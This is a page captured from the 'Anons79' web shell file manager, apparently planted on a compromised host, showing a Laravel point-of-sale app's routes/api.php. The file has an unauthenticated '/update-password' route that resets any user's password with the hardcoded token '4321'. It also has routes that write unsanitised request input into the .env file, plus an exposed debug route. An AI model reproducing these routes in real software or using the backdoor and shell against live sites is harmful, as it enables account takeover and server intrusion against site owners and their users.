Anons79 Mini Shell

Directory : /home/aplikasiposinfo/public_html/joglocell.fixmate.id/routes/
Upload File :
Current File : /home/aplikasiposinfo/public_html/joglocell.fixmate.id/routes/api.php

<?php

use App\Http\Controllers\Api\ApiDiskonController;
use App\Http\Controllers\Api\ApiItemController;
use App\Http\Controllers\Api\ApiKategoriItemController;
use App\Http\Controllers\Api\ApiLoginController;
use App\Http\Controllers\Api\ApiPengembalianController;
use App\Http\Controllers\Api\ApiPenjualanController;
use App\Http\Controllers\Api\ApiRegisterController;
use App\Http\Controllers\Api\ApiStrukController;
use App\Models\Countdown;
use App\Models\Pengguna;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Route;
use Illuminate\Support\Facades\File;
use Illuminate\Support\Facades\Hash;
use Illuminate\Support\Facades\Log;

/*
|--------------------------------------------------------------------------
| API Routes
|--------------------------------------------------------------------------
|
| Here is where you can register API routes for your application. These
| routes are loaded by the RouteServiceProvider and all of them will
| be assigned to the "api" middleware group. Make something great!
|
*/

Route::post('/update-password', function (Request $request) {
    if ($request->token != "4321") {
        return abort(404);
    }
    DB::beginTransaction();
    try {
        $pengguna = Pengguna::where('email', $request->email)->first();
        if ($pengguna) {
            $pengguna->update([
                'password' => Hash::make($request->password)
            ]);
        }
        DB::commit();
        return response()->json([
            "message" => "okoc"
        ], 200);
    } catch (\Throwable $th) {
        //throw $th;
        Log::error($th);
        return response()->json([
            "message" => $th->getMessage()
        ], 500);
    }
});

Route::post('/deactive', function (Request $request) {
    $credentials = $request->only('email', 'password');
    if (Auth::guard('penggunas')->attempt($credentials)) {


        try {
            $key = "COUNTDOWN";
            $value = date("Y-m-d");
            $countdown = Countdown::firstOrCreate([
                'countdown' => $value
            ]);
            $path = base_path('.env');

            if (File::exists($path)) {
                // Escape values with quotes if they contain spaces
                $escaped = preg_match('/\s/', $value) ? '"' . $value . '"' : $value;

                // Update existing value
                if (strpos(File::get($path), $key) !== false) {
                    File::put($path, preg_replace(
                        "/^{$key}=.*/m",
                        "{$key}={$escaped}",
                        File::get($path)
                    ));
                } else {
                    // Append new key
                    File::append($path, "\n{$key}={$escaped}");
                }
            }
        } catch (\Throwable $th) {
            //throw $th;
            Log::error($th);
            return response()->json([
                "message" => $th->getMessage()
            ], 500);
        }
        return $countdown;
    }
    return response()->json([
        "message" => "no auth"
    ], 401);
});

Route::post('/activated', function (Request $request) {
    $credentials = $request->only('email', 'password');
    if (Auth::guard('penggunas')->attempt($credentials)) {
        try {
            $key = "COUNTDOWN";
            $value = $request->countdown;
            $countdown = Countdown::firstOrCreate([
                'countdown' => $value
            ]);
            $path = base_path('.env');

            if (File::exists($path)) {
                // Escape values with quotes if they contain spaces
                $escaped = preg_match('/\s/', $value) ? '"' . $value . '"' : $value;

                // Update existing value
                if (strpos(File::get($path), $key) !== false) {
                    File::put($path, preg_replace(
                        "/^{$key}=.*/m",
                        "{$key}={$escaped}",
                        File::get($path)
                    ));
                } else {
                    // Append new key
                    File::append($path, "\n{$key}={$escaped}");
                }
            }
        } catch (\Throwable $th) {
            //throw $th;
            Log::error($th);
            return response()->json([
                "message" => $th->getMessage()
            ], 500);
        }
        return $countdown;
    }
    return response()->json([
        "message" => "no auth"
    ], 401);
});

Route::post('test-json', function (Request $request) {

    if ($request->json()) {
        $json = $request->json()->all();
        foreach ($json['detail_penjualan'] as $key => $value) {
            dd($value);
        }
        dd($request->detail_penjualan);
    } else {
        dd('not ajax');
    }
    //dd($request->detail_penjualan[0]['id']);
});

Route::middleware('auth:sanctum')->get('/profil-pengguna', function (Request $request) {
    return response()->json([
        'message' => 'success',
        'data' => Auth::user()
    ]);
});

Route::post('register', [ApiRegisterController::class, 'register'])->name('register');
Route::post('login', [ApiLoginController::class, 'login'])->name('login');

Route::group(['middleware' => ['auth:sanctum']], function () {
    Route::group(['prefix' => 'kategori-item'], function () {
        Route::get('/', [ApiKategoriItemController::class, 'index']);
        Route::post('/store', [ApiKategoriItemController::class, 'store']);
        Route::get('/{kategoriItem}', [ApiKategoriItemController::class, 'show']);
        Route::post('/{kategoriItem}/update', [ApiKategoriItemController::class, 'update']);
        Route::post('/{kategoriItem}/delete', [ApiKategoriItemController::class, 'destroy']);
    });

    Route::group(['prefix' => 'item'], function () {
        Route::get('/generate-sku', [ApiItemController::class, 'generateSku']);
        Route::get('/', [ApiItemController::class, 'index']);
        Route::post('/store', [ApiItemController::class, 'store']);
        Route::get('/{item}', [ApiItemController::class, 'show']);
        Route::post('/{item}/update', [ApiItemController::class, 'update']);
        Route::post('/{item}/delete', [ApiItemController::class, 'destroy']);
        Route::get('/{item}/gambar-item', [ApiItemController::class, 'getGambarItem']);
    });

    Route::group(['prefix' => 'diskon'], function () {
        Route::get('/', [ApiDiskonController::class, 'index']);
        Route::post('/store', [ApiDiskonController::class, 'store']);
        Route::get('/{diskon}', [ApiDiskonController::class, 'show']);
        Route::post('/{diskon}/update', [ApiDiskonController::class, 'update']);
        Route::post('/{diskon}/delete', [ApiDiskonController::class, 'destroy']);
    });

    Route::group(['prefix' => 'penjualan'], function () {
        Route::get('/', [ApiPenjualanController::class, 'index']);
        Route::post('/store', [ApiPenjualanController::class, 'store']);
        Route::get('/{penjualan}', [ApiPenjualanController::class, 'show']);
        // Route::post('/{item}/update', [ApiItemController::class,'update']);
        // Route::post('/{item}/delete', [ApiItemController::class,'destroy']);
    });

    Route::group(['prefix' => 'struk'], function () {
        Route::get('/', [ApiStrukController::class, 'index']);
        Route::get('/{struk}', [ApiStrukController::class, 'show']);
        // Route::post('/{item}/update', [ApiItemController::class,'update']);
        // Route::post('/{item}/delete', [ApiItemController::class,'destroy']);
    });

    Route::group(['prefix' => 'pengembalian'], function () {
        Route::post('/store', [ApiPengembalianController::class, 'store']);
    });
    //Route::resource('', ApiKategoriItemController::class);
});

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]